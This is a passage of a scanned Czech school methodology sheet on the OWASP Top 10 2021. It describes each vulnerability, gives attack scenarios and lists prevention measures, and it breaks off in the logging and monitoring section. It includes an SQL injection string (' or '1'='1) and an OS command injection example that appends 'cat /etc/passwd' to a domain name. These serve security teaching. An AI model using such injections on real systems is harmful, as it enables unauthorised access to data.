| o st o "o jihomoravsky kraj

Operaini program Vyzium, wvoj a vadikivani MIBTERETYE SROLETY

TESTOVANI BEZPECNOSTI

OWASP TOP 10

Metodicky list

Autor: Filip Holec, Metodik: Bc. Jaroslav Tihlafik
Recenzent: doc. Ing. Jaroslav Dockal, CSc.
Rok vydani: 2023

OWASP TOP 10 podléha licenci CC BY-SA 4.0 International License (Offline use:

http://creativecommons.org/licenses/by-nc-sa/4.0/).




Obsah

Cile
Pracovni prostiedi
1 Teoreticka ast
1.1 AO01:2021 — Nefunkéni kontrola pristupu (Broken Access Control)
1.1.1 Popis zranitelnosti
1.1.2 Priklady scénaid utoku
1.1.3 Prevence
1.2 A02:2021 — Kryptograficka selhani (Cryptographic Failures)
1.2.1  Popis zranitelnosti
1.2.2  Priklady scénait Gtoku
1.2.3 Prevence
1.3 A03:2021 - Injection
1.3.1 Popis zranitelnosti
1.3.2 Priklady scénait utoku
1.3.3 Prevence
1.4 AO04:2021 — Nezabezpeceny navrh (Insecure Design)
1.4.1 Popis zranitelnosti
1.4.2  Priklady scénard Gtoku
1.43 Prevence
1.5 A05:2021 — Spatna konfigurace zabezpeéeni (Security Misconfiguration)
1.5.1 Popis zranitelnosti
1.5.2 Priklady scénéit utoku

1.5.3 Prevence

10

10

10

11

12

12

12

12

14

14

14

15

1.6 A06:2021 — Zranitelné a zastaralé komponenty (Vulnerable and Outdated Components)

16



1.6.1 Popis zranitelnosti 16

1.6.2 Priklady scénaid utoku 16
1.6.3 Prevence 17
1.7 A07:2021 — Identification and Authentication Failures 18
1.7.1  Popis zranitelnosti 18
1.7.2 Priklady scénait utoku 18
1.7.3 Prevence 19

1.8 AO08:2021 — Selhani integrity softwaru a dat (Software and Data Integrity Failures) 20

1.8.1 Popis zranitelnosti 20
1.8.2 Priklady scénait utoku 20
1.8.3 Prevence 20

1.9 A09:2021 — Logovani a monitorovani bezpecnostnich chyb (Security Logging and

Monitoring Failures) 22
1.9.1 Popis zranitelnosti 22
1.9.2 Priklady scénait utoku 22
1.9.3 Prevence 23

1.10  A10:2021 — Server-Side Request Forgery 24
1.10.1 Popis zranitelnosti 24
1.10.2 Ptiklady scénarii utoku 24
1.10.3 Prevence 25

2 Prakticka ¢ast 26

2.1 Ovéfeni spravného nastaveni prostiedi OWASP Juice Shop 27

2.2 Nastaveni jazyka v ramci OWASP Juice Shop 27

2.3 Restart progresu 27

2.4 Nastroj DevTools 28

2.5 Nalezeni scoreboardu 29

2.6 Challenge Zero Stars 30



2.7 Challenge SQL Injection — Log in with the administrator's account

2.8 Challenge Bjoern's Favorite Pet

2.9 Challenge Security Policy

2.10

211

212

2.13

2.14

2.15

2.16

2.17

2.18

2.19

2.20

221

2.22

Challenge Confidential Document
Challenge Error Handling
Challenge Bonus Payload
Challenge CAPTCHA Bypass
Challenge Payback Time
Challenge Missing Encoding
Challenge Admin Section
Challenge Exposed Metrics
Challenge Password Strength
Challenge Meta Geo Stalking
Challenge Weird Crypto Missing Encoding
Challenge SSTi

Challenge SSRF

Shrnuti a zavér

Seznam pouzitych zdroju

31

32

34

35

36

38

39

41

44

45

46

47

48

49

50

52

o4

95



Cile
Ziskat znalosti metodiky OWASP TOP 10 a pochopit nejvice rozsifené bezpe€nostni chyby v ramci

webovych stranek a infrastruktury.

Pracovni prostredi

Uvedeni pozadavka k realizaci ulohy. Napf.

e Ulohu Ize realizovat pouze v prostiedi virtualniho stroje Kali DVWA OWASP, ktery je

k dispozici v u¢ebnach

Pro praci budeme potiebovat nasledujici néstroje:

e prohlize¢ Firefox / Chrome



Osnova vyuky

1 Teoreticka ¢ast

Pokud praktické cvi¢eni navazuje na jiz diive probirané teoretické téma, neni nutné teoretickou Cast

opakovat. Spise je vhodné se zaméFit na nezbytné teoretické minimum, které zak musi bezpodmine¢né

zvladnout.

1.1 AO01:2021 — Nefunk¢ni kontrola pristupu (Broken Access Control)

111

Popis zranitelnosti

Smysl ovéteni / kontroly pfistupu je v tom, aby uzivatelé nemohli jednat mimo jejich pravomoci. Mozné

problémy pii nefunkéni kontrole pristupu casto vedou k tiniku informaci, modifikaci nebo zniceni vSech

dat nebo k provedeni obchodni transakce mimo pravomoci uzivatele.

Casté zranitelnosti v ramci nefunkcni kontroly pristupu jsou:

Pristup k rozhrani API s chybé&jicimi kontrolami ptistupu pro metody POST, PUT a DELETE
(modifikace dat).

Povoleni prohlizeni nebo uprav ciziho U¢tu poskytnutim jeho jedine¢ného identifikatoru
(nezabezpecené piimé odkazy na objekty).

Eskalace privilegii — vystupovani jako uzivatel, kdyZ neni uzivatel ptihlasen, vystupovani jako
administrator, kdyZ je uzivatel ptihlasen jako klasicky uzivatel (pfistup k pravomocem / akcim
mimo kompetenci Gtoc¢nika)

Obchézeni kontrol fizeni pfistupu Upravou adresy URL (upraveni parametrti nebo vynucené
prochazeni). interniho stavu aplikace nebo strdnky HTML nebo pomoci tito¢ného néstroje
upravujiciho pozadavky z rozhrani APIL.

Poruseni zasady nejmensiho opravnéni nebo odepteni ve vychozim nastaveni, kdy by ptistup
mél byt udélen pouze urcitym schopnostem, rolim nebo uzivateliim, ale je dostupny komukoli.
Manipulace s metadaty, naptiklad opakovani dotazi nebo manipulace s tokenem fizeni pristupu
JSON Web Token (JWT), cookies nebo manipulace skrytych poli na strance za ucelem zvySeni

opravnéni nebo zneuziti zneplatnéni JWT.



1.1.2 Piiklady scénari utoku

Scénér #1

Aplikace pouziva neovétrena data v SQL dotazu, ktery ptistupuje k informacim o Gctu:

pstmt.setString(1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

Utoénik jednoduse upravi parametr ,,acct“ prohlizede tak, aby odeslal libovolné &islo uétu. Pokud neni

spravné ovefeno, mize utoénik ziskat pristup k libovolnému uzivatelskému uctu. Napt.

https://example.com/app/accountInfo?acct=notmyacct

Scénar #2

Utoénik jednoduse vynuti prochazeni cilovych adres URL. Pro piistup na stranku sprivce jsou

vyzadovana prava spravce.

https://example.com/app/getappInfo

https://example.com/app/admin getappInfo

Jde o chybu, pokud se na ob¢ stranky dostane neovéteny uzivatel. Pokud miiZe na stranku spravce pristupovat

1 uzivatel, ktery neni spravcem, jedna se taky o chybu.

1.13

1.
2.

Prevence

Odepieni piistupu ke vSem zdrojim (strankam), které nejsou vetejné.

Implementujte rate limiting (omezeni poc¢tu dotazd na stranku / API), abyste minimalizovali
Skody zpiisobené nastroji pro automatizované utoky.

Zaznamenavejte chyby v ramci fizeni pfistupu, v ptipadé potieby upozornéte spravce (napf.
opakovana selhani). Piikladem mutzZe byt opakovany pfistup na administratorskou stranku
s chybovym vysledkem.

Zakazat vypis adresailt webového serveru a zajistit, aby se v kofenech webového serveru
nevyskytovala metadata soubort (napf. .git) a zalohy.

Implementujte mechanismy fizeni piistupu a opakované je pouzivejte v celé aplikaci, véetné

minimalizace pouzivani technologie sdileni zdrojia (CORS — Cross-Origin Resource Sharing).




1.2 A02:2021 — Kryptograficka selhani (Cryptographic Failures)

1.2.1 Popis zranitelnosti

Jeden z prioritnich kol je urcit potieby ochrany dat v riznych situaci. Naptiklad hesla, ¢isla kreditnich
karet, zdravotni zdznamy, osobni idaje a obchodni tajemstvi vyzaduji zvySenou ochranu. Zejména,
pokud se na tyto udaje vztahuji zakony o ochran¢ osobnich daji, napt. obecné natizeni EU o ochran¢
osobnich udajii (GDPR), nebo piedpisy, napt. o ochrané finanénich idaju, jako je standard PCI Data
Security Standard (PCI DSS).

U takovych udaju je pro nas dulezité:

e Jsou néktera data prenasena v Citelném textu (plaintext)? Tyka se to protokold, jako jsou HTTP,
SMTP, FTP, které také pouzivaji vylepSeni TLS, naptiklad STARTTLS. Externi internetovy
provoz je nebezpecny. Ovéite veskery interni provoz, napt. mezi webovymi servery nebo back-
end systémy.

e Jsou ve vychozim nastaveni nebo ve starSim kodu pouzity néjaké staré nebo slabé
kryptografické algoritmy nebo protokoly?

e Pouzivaji se vychozi Sifrovaci klice, generuji se slabé Sifrovaci klice nebo se pouzivaji
opakované, ptipadné chybi fadna sprava nebo rotace klici? Jsou Sifrovaci klice ulozeny
Vv repozitafich se zdrojovym kdédem?

e Jsou ptitomny HTTP hlavicky, které vynucuji pouziti Sifrovani v ramci komunikace?

e Pouzivaji se zastaralé hashovaci funkce, jako je MD5 nebo SHA1, nebo se v pripadé potieby

kryptografickych hashovacich funkci pouzivaji nekryptografické hashovaci funkce?

Vice informaci naleznou studenti v rdmci scénare Kryptografie.
1.2.2 Priklady scénari utoku

Scénar #1

Aplikace Sifruje Cisla kreditnich karet v databazi pomoci automatického Sifrovani databaze. Tato data
jsou vSak pfi nacitani automaticky desifrovana, coz umoznuje ziskat ¢isla kreditnich karet v otevieném

textu pomoci chyby SQL injection.
Scénér #2

Stranka nepouZziva nebo nevynucuje protokol TLS pro vSechny stranky nebo podporuje slabé Sifrovani.

Utocnik sleduje sitovy provoz (napf. v nezabezpecené bezdratové siti), snizi iroven ptipojeni z HTTPS



na HTTP, zachyti pozadavky a ukradne cookie relace uzivatele. Uto¢nik pak tuto cookie poZije a zmocni
se relace uzivatele (a tim je pfihlaSeny jako obét’), ¢imz ziska pfistup k jeho soukromym udajim nebo
je zmeéni. Misto vySe uvedeného mulze zménit vSechna pfendSena data, napf. pifijemce penczniho

prevodu.
Scénar #3

Databaze hesel pouziva k ukladani hesel vsech uzivateli tzv. unsalted, nebo jednoduchy hash. Chyba
pfi nahravani soubor umoznuje uto¢nikovi ziskat databazi hesel. VSechny jednoduché hashe lze odhalit
pomoci tzv. rainbow table (duhové tabulky) pfedem vypocCitanych hashii. Hash generovany
jednoduchymi nebo rychlymi hashovacimi funkcemi mtze byt prolomen grafickymi procesory, i kdyby

byl komplexnéjsi (tzv. salted hash).

1.2.3 Prevence

1. Neukladejte zbyteéné citliva data, pokud nejsou potteba. Co nejdiive je zlikvidujte. Data, ktera
nejsou uchovavana, nelze odcizit.

2. Overte, ze vSechna data, které aktualné mate, jsou Sifrovana. Jestli ne, tak je zaSifrujte.

3. Zajistéte aktualni a silné standardni algoritmy, protokoly a klice; pouZzivejte spravnou spravu
klicu.

4. Sifrujte viechna pienasena data pomoci zabezpe¢enych protokold, jako je TLS s Siframi FS
(forward secrecy), Sifrovaci prioritou serveru a bezpe¢nymi parametry. Sifrovani vynucujte
pomoci mechanismii (RFC?), jako je HTTP Strict Transport Security (HSTS).

5. K pfenosu citlivych dat nepouzivejte starsi protokoly, jako jsou FTP a SMTP.

6. Nezavisle ovéite ucinnost konfigurace a nastaveni.

7. Zakazte ukladani do mezipaméti (cache) pro odpovedi, které obsahuji citliva data.

! Mechanismus navrzeny RFC 6797 zajist'ujici pfistup k webu vyhradn& pomoci zabezpe&eného piipojeni.
chrani komunikaci mezi prohlizeem a webovym serverem a zjednodusuje ochranu proti inosu spojent.



1.3 A03:2021 — Injection

1.3.1 Popis zranitelnosti

Aplikace je zranitelna vuci utoku, pokud:

e Uzivatelem zadana data nejsou aplikaci ovéfovana, filtrovana nebo upravovana.

e Dynamické dotazy nebo neparametrizovana volani bez kontextového escapovani jsou pouzity
pfimo v interpretu.

e Nepratelska data jsou pouzita v ramei parametrii vyhledavani ORM? (object-relational mapping)
k ziskani dalsich citlivych zaznam?.

e Nepratelska data se pouzivaji pfimo nebo se spojuji. Naptiklad SQL nebo piikaz obsahuje
strukturu a skodliva data v dynamickych dotazech, piikazech nebo ulozenych procedurach.

Vv wrw

Mezi nejbéznéjsi utoky tohoto typu patii Injection typu SQL, NoSQL, ptikazi OS, objektove-relacniho
mapovani (ORM), LDAP nebo dalsi. Koncept je u vSech interpreti shodny. Nejlepsi metodou, jak zjistit,
zda jsou aplikace zranitelné vici injekcim je kontrola zdrojového kodu. Dtrazné se doporucuje
automatizované testovani vSech parametrd, hlavicek, adres URL, soubort cookie, datovych vstupt

JSON, SOAP a XML.
1.3.2 Priklady scénari utoku

Scénar #1

Aplikace pouziva nedivéryhodna data pti konstrukci nasledujiciho zranitelného volani SQL:

String query = "SELECT \* FROM accounts WHERE custID='" + request.getParameter("id") + "'";

V tomto ptipadu Gto¢nik upravi hodnotu parametru 'id' v prohlizeci tak, aby odeslal: ' or '1'='1

Konkrétné to bude

http://example.com/app/accountView?id=" or '1'="1

Scénar #2

2 Objektové relaéni zobrazeni je programovaci technika v softwarovém inzenyrstvi, kterd zajistuje
automatickou konverzi dat mezi rela¢ni databazi a objektove orientovanym programovacim jazykem.
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Dalsim typem utoku typu Injection je injektaz piikazli operacniho systému. Méjme napiiklad stranku,
na které zadate nazev domény a jako vysledek ziskate jeji IP adresu. V pfipadé zranitelné aplikace

muzete naptiklad za ndzev domény zadat jiny piikaz:

google.com; cat /etc/passwd

V tomto piipadé by zranitelna aplikace kromé IP adresy vypsala také obsah souboru /etc/passwd,

kde byste ziskali seznam uzivateld, ktefi maji i€et na serveru, kde je webova stranka spusténa.

1.3.3 Prevence

Zabranéni injektovani vyZaduje odd¢lit data od piikazt a dotazi:

e Preferovanou moznosti je pouziti bezpecného rozhrani API, které se zcela vyhne pouziti
interpretu, poskytne parametrizované rozhrani nebo pfejde na nastroje pro objektové relaéni

mapovani (ORM).

Poznamka: I kdyz jsou parametrizované, uloZené procedury mohou stale zpiisobit SQL injection,
pokud jazyk PL/SQL nebo T-SQL spojuje dotazy a data nebo provddi nepratelska data pomoci
EXECUTE IMMEDIATE nebo exec().

e Pouzivejte pozitivni ovéfovani vstupl na stran¢ serveru. To neni iplna obrana, protoze mnoho
aplikaci vyzaduje specialni znaky, naptiklad textové oblasti nebo rozhrani API pro mobilni
aplikace.

e V ramci dotazii pouzivejte LIMIT a dalsi kontrolni prvky SQL, abyste zabranili hromadnému

zptistupnéni zaznamu v ptipadé SQL injection.

11




1.4 A04:2021 — Nezabezpeceny navrh (Insecure Design)

1.4.1 Popis zranitelnosti

Nezabezpeceny navrh je Siroka kategorie predstavujici rizné nedostatky, vyjadiené jako ,,chybéjici nebo
neucinny kontrolni navrh®. Nedostatky v navrhu a implementaci rozliSujeme z urcitého divodu, maji
rizné pri¢iny a zpusoby napravy. I bezpecny navrh miize mit vady implementace vedouci ke

zranitelnostem, které mohou byt zneuzity.

Nezabezpeceny navrh nelze opravit dokonalou implementaci, protoze potiebné bezpecnostni kontroly
nebyly z definice nikdy vytvofeny na obranu proti konkrétnim utoktim. Jednim z faktord, které ptispivaji
k nezabezpecenému navrhu, je nedostatecné profilovani obchodnich rizik, které je vlastni vyvijenému

softwaru nebo systému, a tedy neschopnost urcit, jaka tiroven navrhu zabezpeceni je nutna.
1.4.2 Ptiklady scénari utoku

Scénar #1

Retézec kin umoziuje slevy na skupinové rezervace a pred pozadavkem na zalohu mé maximalni pocet
patnacti tcastnikd. Utocnici by mohli tento tok hrozeb namodelovat a vyzkouset, zda by mohli
v n¢kolika pozadavcich rezervovat Sest set mist a v§echna kina najednou, ¢imz by zpusobili obrovskou

ztratu prijmu.
Scénér #2

Webové stranky elektronického obchodu maloobchodniho fetézce nemaji ochranu proti botim
provozovanym piekupniky, ktefi nakupuji Spickové grafické karty k dal§imu prodeji na aukénich
webech. To vytvaii hroznou reklamu vyrobcim grafickych karet a majitelim maloobchodnich fetézcu
a trvale zlou krev u nadSenct, ktefi tyto karty nemohou ziskat za zadnou cenu. Peclivy design proti
botim a pravidla logiky domény, jako jsou nakupy uskutecnéné do nékolika sekund od dostupnosti, by

mohly identifikovat neautentické nakupy a takové transakce odmitnout.

1.4.3 Prevence
1. Napiste unit® a integracni testy, abyste ovéfili, ze viechny kritické toky jsou odoIné vii¢i modelu

hrozeb. Sestavte ptipady pouziti a ptipady zneuziti pro kazdou troven aplikace.

% unit = samostatné testovatelnd ¢ast aplikaéniho programu

12



Segregujte vrstvy vrstev na systémové a sitové vrstvé v zavislosti na potiebé vystaveni a
ochrany.

Pouzivejte modelovani hrozeb pro kritické oveéfovani, fizeni ptistupu, obchodni logiku a klicové
toky.

Vytvofit a pouzivat knihovnu bezpenych néavrhovych vzord pfipravenych k pouziti
u komponent.

Zavedeni a pouzivani bezpe¢ného zivotniho cyklu vyvoje s profesionaly aplikacni bezpe€nosti,
kteti pomdhaji vyhodnocovat a navrhovat kontroly souvisejici se zabezpecenim a ochranou

soukromi.
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1.5 A05:2021 — Spatnd  konfigurace  zabezpeteni  (Security
Misconfiguration)

1.5.1 Popis zranitelnosti

Aplikace mtze byt zranitelna, pokud:

e Vychozi ucty a jejich hesla jsou stale povoleny a nezménény.

e Jsou povoleny nebo nainstalovany nepotfebné funkce (napf. nepottebné porty, sluzby, stranky,
ucty nebo opravnéni).

e Software je zastaraly nebo zranitelny (viz A06:2021 — Zranitelné a zastaralé komponenty).

e Chybi vhodné posileni zabezpeceni v kterékoli casti aplikace nebo jsou nespravné
nakonfigurovana opravnéni ke cloudovym sluzbam.

e Zpracovani chyb odhaluje uzivatelim pfili§ informativni chybové zpravy.

e U aktualizovanych systémi jsou nejnoveéjsi bezpeCnostni funkce zakdzany nebo nejsou
bezpecné nakonfigurovany.

e Nastaveni zabezpeceni v aplikacnich serverech, aplikacnich frameworcich (napft. Struts, Spring,
ASP.NET), knihovnach, databéazich atd. nejsou nastavena na bezpe¢né hodnoty.

e Server neposila bezpe¢nostni hlavicky nebo nejsou nastaveny na bezpecné hodnoty.
1.5.2 Priklady scénari utoku

Scénar #1

Konfigurace aplika¢niho serveru umoznuje, aby se uzivatelim vracely podrobné chybové zpravy (tzv.
stack traces). To potencialné odhaluje citlivé informace nebo zakladni chyby, jako jsou verze

komponent, o nichZ je znamo, Ze jsou zranitelné.
Scéndr #2

Na serveru neni zakazan vypis adresait. Utocnik zjisti, ze mlze jednoduse vypisovat adresare. Utocnik
najde a stdhne zkompilované tiidy jazyka Java, které dekompiluje a reverznim inZenyrstvim zobrazi

kod. Utoénik pak v aplikaci najde zdvaznou chybu v fizeni piistupu.
Scénar #3

Aplikacni server je dodavan s ukdzkovymi aplikacemi, které nebyly odstranény z produkéniho serveru.

Tyto ukazkové aplikace maji znamé bezpecnostni chyby, které Gtocnici vyuzivaji ke kompromitaci
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serveru. Predpokladejme, Ze jednou z téchto aplikaci je konzola spravce a vychozi ucty nebyly zménény.

V takovém piipadé se utocnik pfihlasi pomoci vychozich hesel a pfevezme kontrolu.

153

Prevence

Meély by byt zavedeny bezpecné instalacni procesy, vcetné:

1.

Povinnosti zkontrolovat a aktualizovat konfigurace odpovidajici vSem bezpecnostnim
poznamkam, aktualizacim a zaplatam v ramci procesu spravy zaplat (viz A06:2021 — Zranitelné
a zastaralé komponenty). Pfezkoumejte opravnéni cloudovych tlozist’ (napf. opravnéni bucketu
S3 na uchovavani dokumentti)*.

Minimalni platforma bez zbyte¢nych funkci, komponent, dokumentace a vzorkd. Odstrante
nebo neinstalujte nepouzivané funkce a frameworky.

Opakovatelny proces zabezpeceni umoziuje rychle a snadno nasadit jiné prostiedi, které je
vhodné zabezpeceno. Vyvojova, testovaci a produkéni prostiedi by méla byt nakonfigurovana
stejng, pticemz v kazdém prostiedi by se mély pouzivat jiné ptihlaSovaci udaje. Tento proces
by mél byt automatizovany, aby se minimalizovalo usili potfebné k nastaveni nového
zabezpeceného prostredi.

Odesilani bezpecnostnich hlavi¢ek zabezpeceni v komunikaci s klienty.

Automatizovany proces oveétovani ucinnosti konfiguraci a nastaveni ve vSech prostredich.

4 Napf. na tlozi§ti Amazon S3 RRS (Reduced Redundancy Storage) se soubory zaloh ukladaji do sad

Bucket.
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1.6 A06:2021 - Zranitelné a zastaralé komponenty (Vulnerable and

16.1

Outdated Components)

Popis zranitelnosti

Zranitelnost / problém se miiZze objevit:

e Pokud je software zranitelny, nepodporovany nebo zastaraly. To zahrnuje opera¢ni systém,
webovy/aplikaéni server, systém spravy databazi (DBMS), aplikace, rozhrani API a vSechny
komponenty a knihovny.

e Pokud neopravujete nebo neaktualizujete zakladni platformu, frameworky a zavislosti vcas a
S ohledem na rizika. To se b&ézn¢ stava v prostiedich, kde je oprava mési¢nim nebo Ctvrtletnim
ukolem v ramci fizeni zmén, ¢imz se organizace vystavuji zbyteCnému vystaveni opravenym
zranitelnostem v fadu dnti nebo mésict.

e Pokud vyvojafi softwaru netestuji kompatibilitu aktualizovanych, upgradovanych nebo
opravenych knihoven.

e Pokud nezabezpecite konfigurace komponent (viz A05:2021 — Nespravna konfigurace
zabezpecenti).

e Pokud neznate verze vSech pouzivanych komponent (na strané klienta i serveru). To zahrnuje
komponenty, které pouzivate ptimo, i jejich zavislosti.

e Pokud pravidelné¢ nekontrolujete zranitelnosti a neodebirate bezpecnostni bulletiny tykajici se
pouzivanych komponent.

1.6.2 Priklady scénari utoku
Scénér #1

Komponenty obvykle béZi se stejnymi pravy jako samotna aplikace, takze chyby v kterékoli komponent¢

mohou mit zavazny dopad. Tyto chyby mohou byt nahodné (napt. chyba v kodovani) nebo umysiné

(napf.

napt:

zadni vratka v komponent¢). Priklady zneuzitelnych chyb komponent, které byly objeveny, jsou

CVE-2017-5638, zranitelnost Struts 2 umoznujici vzdalené spusténi kodu, ktera umoznuje
spusténi libovolného kédu na serveru,
Internet véci (IoT) je sice Casto obtizné nebo nemozné opravit, ale vyznam jejich oprav mize

byt velky (napf. biomedicinska zatizeni).
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Existuji automatizované nastroje, které utocnikim pomahaji najit neopravené nebo Spatné

nakonfigurované systémy. Napiiklad vyhleddva¢ Shodan vdm pomulze najit zafizeni, kterad stale trpi

zranitelnosti Heartbleed opravenou v dubnu 2014.

1.6.3

Prevence

Resenim je zavedeni procesu spravy aktualizaci, v rdmci kterého je doporuceno:

Odstranit nepouzivané zavislosti, nepotfebné funkce, komponenty, soubory a dokumentaci.
Priibézné inventarizovat verze komponent na stran¢ klienta i serveru (napi. framework,
knihoven) a jejich zavislosti pomoci nastroji jako versions, OWASP Dependency Check,
retire.js atd.

Pribézné sledovat zdroje, jako jsou Common Vulnerability and Exposures (CVE) a National
Vulnerability Database (NVD), pro vyhledavani zranitelnosti v komponentach. K automatizaci
procesu pouzivejte nastroje pro analyzu slozeni softwaru.

Prihlaseni se k odbéru e-mailovych upozornéni na bezpecnostni zranitelnosti souvisejici s
pouzivanymi komponentami.

Ziskavani komponent pouze z oficialnich zdroji prostfednictvim zabezpecenych odkazi.
Davejte prednost podepsanym balickim, abyste snizili pravdépodobnost zahrnuti
modifikované, skodlivé komponenty (viz A08:2021 — Selhani integrity softwaru a dat).
Monitorovani knihoven a komponent, které nejsou udrzovany nebo nevytvareji bezpecnostni
zaplaty pro starsi verze. Neni-li zaplatovani mozné, zvazte nasazeni virtualni zaplaty, ktera bude

zjiStény problém monitorovat, detekovat nebo pfed nim chranit.

17



1.7 A07:2021 — Identification and Authentication Failures
Potvrzeni identity uZzivatele a ovéfovani a sprava relaci jsou kliCové pro ochranu pted utoky

souvisejicimi s ovéfenim piistupu.

1.7.1 Popis zranitelnosti

Nedostatky v ovétovani mohou existovat, pokud aplikace:

e Umoziuje utoky hrubou silou (brute-force) nebo jiné automatizované toky.

e Povoluje vychozi, slaba nebo dobfe znama hesla, naptiklad "Password1" nebo "admin/admin".

e Pouziva slabé nebo neucinné procesy obnovy povéfeni a zapomenutych hesel, napiiklad
"odpovédi zalozené na znalostech", které nelze zabezpecit.

e Pouziva datova ulozisté s prostym textem, Sifrovanymi nebo slabé zaheslovanymi hesly (viz
A02:2021 — Kryptograficka selhani).

e Ma chybgjici nebo neucinné vicefaktorové oveérovani.

e Vystavuje identifikator relace v adrese URL.

e (Opakované pouziva identifikator relace po tspéSném piihlaseni.

e Umoziuje automatizované ttoky, jako je naptiklad ,,credential stuffing®, kdy ma uto¢nik k

dispozici seznam platnych uzivatelskych jmen a hesel.
1.7.2 Ptiklady scénari utoku

Scénar #1

Castym ttokem je tzv. Credential stuffing, tedy pouzivani seznami znamych hesel. Predpokladejme, Ze
aplikace neimplementuje automatickou ochranu proti hrozbam nebo credential stuffingu. V takovém

ptipadé Ize aplikaci pouzit na verifikaci hesel, ktera urci, zda jsou ptihlasovaci tidaje platna.
Scénar #2

K vétsin€ ovetovacich utokli dochazi v disledku neustalého pouzivani hesel jako jediného faktoru. Po
zvazeni osvédCenych postupti, rotace hesel (od které se nastésti upousti) a pozadavkl na jejich slozitost
jsou uzivatelé motivovani k pouzivani a opakovanému pouzivani slabych hesel. Organizacim se

doporucuje, aby tyto postupy podle normy NIST 800-63 ukoncily a pouzivaly vicefaktorové ovérovani.

Scénar #3
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Casové limity relaci aplikaci nejsou spravné nastaveny. Uzivatel pouziva k pristupu k aplikaci veiejny

pocitac. Misto toho, aby zvolil moznost "odhlasit se", uzivatel jednoduse zavie kartu prohlizece a odejde.

Utoénik pouzije stejny prohlize¢ o hodinu pozdg&ji a uZivatel je stale ovéien.

1.7.3

1.

Prevence

Pokud je to mozné, implementujte vicefaktorové ovéfovani, abyste zabranili automatickému
credential stuffingu, utokim hrubou silou a opakovanému pouziti ukradenych piihlasovacich
udaji.

Nenasazujte zadné vychozi ptihlaSovaci udaje, zejména pro uzivatele spravce.

Implementujte kontrolu slabych hesel, naptiklad testovani novych nebo zménénych hesel podle
seznamu 10 000 nejhorsich hesel.

Zajistéte, aby formulafe registrace, obnovy piihlasovacich udaji a rozhrani API byly
zabezpeceny proti utoklim na vycet Géth tim, ze se pro vSechny vysledky pouziji stejné zpravy
(ne “Uzivatel neexistuje” a “Spatné zadané heslo”, ale “Uzivatel neexistuje nebo heslo bylo
$patné zadano”).

Omezte nebo stale vice oddalujte netispésné pokusy o piihlaseni, davejte vSak pozor, abyste
nevytvorili scénatf odepfeni sluzby (DoS). Zaznamenavejte vSechna selhani a upozoriujte

spravce, pokud je zjistén utok typu credential stuffing, brute force nebo jiny utok.
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1.8 A08:2021 — Selhani integrity softwaru a dat (Software and Data
Integrity Failures)

1.8.1 Popis zranitelnosti

Selhani integrity softwaru a dat souvisi s kodem a infrastrukturou, které nechrani pted porusenim
integrity. Piikladem je situace, kdy aplikace spoléhd na zasuvné moduly, knihovny nebo moduly
z nedvéryhodnych zdroji, Glozist a siti pro doru¢ovani obsahu (CDN). Nezabezpecena CI/CD pipeline

muze predstavovat potencial pro neopravnény piistup, Skodlivy kéd nebo kompromitaci systému.

Mnoho aplikaci dnes obsahuje funkci automatickych aktualizaci, kdy jsou aktualizace stahovany bez
dostate¢ného ovéfeni integrity a aplikovany na dfive déivéryhodnou aplikaci. Utoénici by mohli
potencialné nahrat vlastni aktualizace, které¢ by byly distribuovany a spustény na vSech instalacich.
Dalsim prikladem je situace, kdy jsou objekty nebo data zakédovany nebo serializovany do struktury,

kterou mtize uto¢nik vidét a modifikovat. Zde je moznost vyuziti zranitelnosti pfi deserializaci dat.
1.8.2 Priklady scénari utoku

Scénar #1

Aktualizace bez podpisu: Mnoho domacich routerti, set-top boxd a dalSich zafizeni neovétuje
aktualizace prostfednictvim podepsaného firmwaru. Nepodepsany firmware je stale Castéj$im cilem
uto¢nikd a ofekava se, ze se bude jen zhorSovat. Jedna se o velky problém, protoZze mnohdy neexistuje

jiny mechanismus napravy nez oprava v dalsi (nové) verzi a cekat, az predchozi verze zastaraji.
Scéndr #2

Skodliva aktualizace SolarWinds: Je zniamo, Ze narodni staty uto¢i na aktualizaéni mechanismy,
pficemz neddvnym vyznamnym utokem byl Utok s ndzvem SolarWinds Orion. Spolecnost, ktera tento
software vyviji, méla zabezpecené procesy sestavovani a integrity aktualizaci. Pfesto se je podafilo
narusit a firma po nékolik mésict distribuovala cilenou vysoce skodlivou aktualizaci do vice nez 18 000
organizaci, z nichz bylo zasaZzeno pfiblizné 100 organizaci. Jedna se o jedno z nejrozsahlejsich a

nejvyznamnéjsich naruSeni tohoto druhu v historii.

1.8.3 Prevence
1. Pouzivejte digitalni podpisy nebo podobné mechanismy k ovéfeni, Ze software nebo data

pochazeji z o¢ekavaného zdroje a nebyly zménény.
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Zajistéte, aby existoval proces kontroly zmén koédu a konfigurace, ktery minimalizuje moznost,
ze by se do software pipeline dostal skodlivy kod nebo konfigurace.

Zajistéte, aby nepodepsand nebo neSifrovana serializovand data nebyla odesilana
nedivéryhodnym klientim bez né&jaké formy kontroly integrity nebo digitalniho podpisu, ktery
by odhalil neopravnénou manipulaci se serializovanymi daty.

Zajistéte, aby se k ovéteni, zda komponenty / software neobsahuje zndmé zranitelnosti, pouzival
nastroj pro zabezpeceni tzv. supply chainu, naptiklad OWASP Dependency Check nebo
OWASP CycloneDX.
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1.9 AO09:2021 — Logovani a monitorovani bezpe¢nostnich chyb (Security
Logging and Monitoring Failures)

Tato kategorie ma za cil pomoci odhalit, eskalovat a reagovat na aktivni naruseni. Bez logovani a

monitorovani nelze naru$eni odhalit.

1.9.1 Popis zranitelnosti

K nedostate¢nému logovani, detekci, monitorovani a aktivni reakci dochazi v téchto piipadech:

e Upozornéni a chyby negeneruji zadné, nedostatecné nebo nejasné logovaci zpravy.

e Logy aplikaci a rozhrani API nejsou monitorovany z hlediska podezielych aktivit.

e Logy jsou ukladany pouze lokaln¢.

e Udalosti podléhajici auditu, jako jsou piihlaSeni, neuspésna piihlaseni a transakce s vysokou
hodnotou, se nezaznamenavaji.

e Nejsou zavedeny vhodné prahové hodnoty pro upozornéni, procesy eskalace odpovédi nejsou
k dispozici nebo nejsou G¢inné.

e Penetracni testy a skenovani pomoci nastroji pro dynamické testovani bezpecnosti aplikaci
(naptiklad OWASP ZAP) nevyvolavaji alerty / vystrahy.

e Aplikace nemutze detekovat, eskalovat nebo upozoriiovat na aktivni toky v redlném case nebo

s men$im opozdénim.
1.9.2 Priklady scénari utoku

Scénar #1

Provozovatel webovych stranek poskytovatele zdravotniho pojisténi pro déti nemohl odhalit naruSeni
kvuli nedostatecnému monitorovani a logovani. Dodavatel informoval zminéného poskytovatele, Ze
